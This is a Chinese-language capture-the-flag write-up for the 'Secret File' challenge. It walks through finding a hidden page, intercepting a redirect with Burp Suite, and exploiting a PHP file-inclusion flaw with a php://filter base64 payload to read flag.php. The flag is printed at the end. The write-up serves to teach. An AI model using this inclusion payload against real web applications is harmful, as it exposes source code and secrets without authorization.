[极客大挑战 2019]Secret File 1
- 分析:
- 解题
-
- 界面1:
- 界面二:
- 界面3:
- 总结:
分析:
事后来看,这道题主打一个走一步看一步。我们只能从题目的标题中猜到,这道题与文件有关。
解题
界面1:
本题使用BurpSuite抓包,开始分析Request包:
在图片中找到了一个不和谐的地方
<a id="master" href="./Archive_room.php" style="backgroundcolor:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">
这里设置了一个超链接,只不过按钮设置的非常小,这里我们直接访问/Archive_room.php
即可。
访问网址:
界面二:
这里有一个快速的重定向,所以必须使用BP抓包,点击SECRET按钮:
界面3:
访问secr3t.php
:
得到源代码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
分析过滤代码的目的:
- …/ :防止通过相对路径访问目录
tp
:过滤http和httpsinput
:过滤php://input
这里我们也可以尝试构造:
?file=php://filter/read=convert.base64-encode/resource=flag.php
如果对于如何构造这个payload,可以阅读这篇文章:BUUCTF[ACTF2020 新生赛]Include 1题解
将下面的BASE64代码解码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{aa66b2f7-db47-4fb5-927c-2f79fe08c2b9}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
最后获得flag:flag{aa66b2f7-db47-4fb5-927c-2f79fe08c2b9}
总结:
这道题的主要考点依旧是文件包含问题,只是在前面增添了一些步骤,难度整体不大。